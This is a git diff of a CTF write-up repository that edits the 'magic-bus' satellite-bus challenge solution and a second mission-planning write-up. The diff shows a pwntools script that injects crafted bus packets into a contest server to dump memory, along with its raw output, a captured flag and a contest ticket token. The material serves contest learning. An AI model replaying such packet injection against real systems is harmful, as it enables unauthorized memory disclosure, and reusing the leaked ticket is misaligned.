-b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+." +b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+." ``` we can query for everything in memory. And we did. @@ -191,43 +210,11 @@ we can query for everything in memory. And we did. Run it: ``` - λ has-writeup/satellite-bus/magic-bus python magic-bus.py master 2h ⬡ -Injection: ^3b+00+00+37+. -b'^3a+00+00+3e+00+00+00+33+17+43+3c+0b+68+40+41+4e+dc+a0+c0+3e+6c+a0+40+c4+96+3f+c1+f8+fc+e6+3f+.' -START: 0000003317433c0b6840414edca0c03e6ca040c4963fc1f8fce63f -: 00:00:00 > 33:17:43:3c:b:68 @ 4e:dc:a0:c0:3e:6c:a0 @ c4:96 ? f8:fc:e6 ? + λ has-writeup/satellite-bus/magic-bus python magic-bus.py +.... -b'^3b+00+00+3f+.' -ONCE CALL -delimiter - - -b'^3a+00+00+3f+00+00+00+38+94+53+40+c8+2e+40+41+01+3a+a0+c0+69+11+a1+40+7c+2e+40+c1+9b+1c+e6+3f+.' -ONCE: 00000038945340c82e4041013aa0c06911a1407c2e40c19b1ce63f -: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ? - - -b'^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.' -JUICE: b'\xca\x00Dy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc' - - -b'^3b+00+00+3e+.' -END CALL -delimiter - - -b'^3a+00+00+3e+00+00+00+ce+49+d5+3b+e9+6b+3f+41+8f+71+a0+c0+fa+72+a0+40+17+e5+3f+c1+51+0a+e7+3f+.' -INJECTING -END: 000000ce49d53be96b3f418f71a0c0fa72a04017e53fc1510ae73f -: 00:00:00 > ce:49:d5:3b:e9:6b ? 8f:71:a0:c0:fa:72:a0 @ 17:e5 ? 51:a:e7 ? - - -b'^3b+00+00+37+.' -SHUT DOWN SUCCESSFUL -INJECTING AGAIN -b'^ca+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+c8+f7+eb+15+96+3d+6b+70+5c+c9+2c+5e+d5+cf+5c+31+99+19+77+9a+c6+a9+08+65+8d+55+92+6a+37+2c+00+ff+23+eb+14+b9+29+7f+29+85+48+56+e3+1d+25+3f+4f+be+59+c6+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+fa+02+4d+41+02+16+df+e5+fd+a1+08+33+22+84+2f+fc+1f+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+c0+8f+e7+02+91+fd+e1+77+fb+82+7f+2e+a5+04+5e+a1+23+f9+d7+62+fc+fd+d5+cd+00+c0+d4+ce+86+61+68+47+f1+4f+49+82+4d+2a+f9+48+ac+79+76+51+7d+d4+f2+a0+cd+c9+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+4d+ae+40+9a+d8+39+e2+85+b2+59+d6+2f+2d+c9+d0+fb+92+d2+c4+59+aa+5b+20+42+c6+b5+61+93+b3+c6+50+01+75+90+9b+4d+ca+7e+d2+7c+d7+a9+ac+04+72+7c+ff+04+4e+c4+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+5a+83+25+24+01+f8+a0+d8+a1+4c+dc+13+c8+dc+17+17+a0+75+10+bf+f2+4b+a5+25+e8+1e+0c+4b+e8+f3+23+42+76+48+66+77+40+06+4f+e1+53+2c+f4+1b+08+0c+32+a8+81+42+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+2c+bb+86+6d+c2+d6+4e+15+02+43+30+0a+4f+63+b2+d0+a5+19+43+33+26+dc+a9+52+81+6a+65+1a+4e+bb+29+7b+76+af+e8+38+85+36+4d+66+6c+61+67+7b+6f+73+63+61+72+33+39+36+31+36+6b+69+6c+6f+3a+47+43+78+6d+68+4f+52+59+61+36+35+59+30+50+6d+52+74+46+6d+6c+46+53+42+6d+6e+76+49+6d+45+69+57+67+63+6f+47+32+70+6f+73+49+5f+6e+56+51+51+39+5a+4b+35+44+65+4b+76+56+53+76+69+6f+2d+4c+4c+2d+36+58+32+6a+66+52+46+77+39+42+34+58+71+34+6f+56+51+44+69+71+46+44+74+50+4d+7d+00+0d+70+a9+16+2e+df+4e+64+76+e3+91+15+87+6b+ad+72+22+af+71+ad+6c+91+9d+bd+3e+5e+34+67+.' -JUICE: b'\xca\x00\x00Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3#BvHfw@\x06O\xe1S,\xf4\x1b\x08\x0c2\xa8\x81BJuicy Data 05\x00,\xbb\x86m\xc2\xd6N\x15\x02C0\nOc\xb2\xd0\xa5\x19C3&\xdc\xa9R\x81je\x1aN\xbb){v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWgcoG2posI_nVQQ9ZK5DeKvVSvio-LL-6X2jfRFw9B4Xq4oVQDiqFDtPM}\x00\rp\xa9\x16.\xdfNdv\xe3\x91\x15\x87k\xadr"\xafq\xadl\x91\x9d\xbd>^4g' +JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....' ``` Hey look, a flag! diff --git a/satellite-bus/magic-bus/magic-bus.py b/satellite-bus/magic-bus/magic-bus.py index e46fcee..b24acd8 100644 --- a/satellite-bus/magic-bus/magic-bus.py +++ b/satellite-bus/magic-bus/magic-bus.py @@ -4,7 +4,7 @@ import sys from pwnlib import tubes -TICKET = 'ticket{oscar39616kilo:GPvmwTTzj5JlUEWS4qze0U3-MIIoybpJ5VAClSr3D6-3uOBwYuvsP1RK8jfQixupxQ}' +TICKET = 'THE_TICKET' r = tubes.remote.remote('bus.satellitesabove.me', 5041) r.send(TICKET+'\n') time.sleep(0.5) @@ -31,7 +31,8 @@ def decode_pkt(b): field4 = to_hex(b[27:30]) if b[30] != ord('?'): print('b[30] is not ?') - print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4)) + print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, + field3, field3end, field4)) elif b[0] == ord(';'): print('delimiter') # end of previous packet? else: @@ -41,7 +42,7 @@ def decode_pkt(b): start = True inj = b"^3b+00+00+37+." -inj2 = b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+." +inj2 = b"^ca+" + (b"00+" * 512) + b"." dont = False inj2_b = False diff --git a/space/.gitkeep b/space/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/space/good-plan-great-plan/README.md b/space/good-plan-great-plan/README.md index cbfdc7a..78607ed 100644 --- a/space/good-plan-great-plan/README.md +++ b/space/good-plan-great-plan/README.md @@ -10,8 +10,8 @@ > You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations. > The spacecraft in question is USA 224 in the NORAD database with the following TLE: > -> 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 -> 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04 +> 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 +> 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04 > > You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W). > Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours. @@ -54,5 +54,5 @@ The rest of the strategy is pretty much just to use trial and error: ``` ## Resources and other writeups -- http://gpredict.oz9aec.net/ -- https://en.wikipedia.org/wiki/Two-line_element_set +- +- diff --git a/top.md b/top.md new file mode 100644 index 0000000..352f1da --- /dev/null +++ b/top.md @@ -0,0 +1,11 @@ +--- +title: BLAHAJ +mainfont: Noto Serif +geometry: margin=0.7in + +header-includes: | + \input{fonts.tex} + +include-before: \begin{center}\includegraphics[width=0.7\pagewidth]{jork.png}\end{center}\newpage +--- +